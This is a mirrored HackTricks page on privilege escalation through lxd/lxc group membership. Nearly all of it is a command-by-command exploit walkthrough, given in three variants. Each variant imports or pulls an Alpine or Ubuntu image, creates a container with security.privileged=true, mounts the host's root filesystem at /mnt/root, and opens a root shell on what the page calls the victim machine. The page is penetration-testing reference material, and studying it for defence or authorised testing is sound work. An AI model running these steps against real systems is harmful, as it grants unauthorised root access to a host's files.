mirror of
https://github.com/carlospolop/hacktricks
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110 lines
3.2 KiB
Markdown
110 lines
3.2 KiB
Markdown
# lxd/lxc Group - Privilege escalation
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If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
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## Exploiting without internet
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### Method 1
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You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
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```bash
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#Install requirements
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sudo apt update
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sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
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#Clone repo
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go get -d -v github.com/lxc/distrobuilder
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#Make distrobuilder
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cd $HOME/go/src/github.com/lxc/distrobuilder
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make
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cd
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#Prepare the creation of alpine
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mkdir -p $HOME/ContainerImages/alpine/
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cd $HOME/ContainerImages/alpine/
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wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
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#Create the container
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sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
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# If that fails, run it adding -o image.release=3.8 at the end.
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```
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Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
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Add the image:
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```bash
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lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
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lxc image list #You can see your new imported image
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```
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Create a container and add root path
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```bash
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lxc init alpine privesc -c security.privileged=true
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lxc list #List containers
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lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
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```
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Execute the container:
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```bash
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lxc start privesc
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lxc exec privesc /bin/sh
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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### Method 2
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Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
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```bash
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# build a simple alpine image
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git clone https://github.com/saghul/lxd-alpine-builder
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./build-alpine -a i686
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# If you got error
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ERROR: unsatisfiable constraints:
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alpine-base (missing):
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required by: world[alpine-base]
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Failed to install rootfs
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# Maybe the error is due to mirror sites but it will create a rootfs directory in same folder i.e "lxd-alpine-builder" .
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1.) Edit the file rootfs/usr/share/alpine-mirrors/Mirrors.txt deleting all the entries but the first one, do the same with mirrors.yaml.
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2.) Again run - sudo ./build-alpine -a i686
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# import the image
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lxc image import ./alpine.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
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# before running the image, start and configure the lxd storage pool as default
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lxd init
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# run the image
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lxc init myimage mycontainer -c security.privileged=true
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# mount the /root into the image
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lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
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# interact with the container
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lxc start mycontainer
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lxc exec mycontainer /bin/sh
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```
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Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd_root)
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## With internet
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You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
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```bash
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lxc init ubuntu:16.04 test -c security.privileged=true
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lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
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lxc start test
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lxc exec test bash
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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## Other Refs
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{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}
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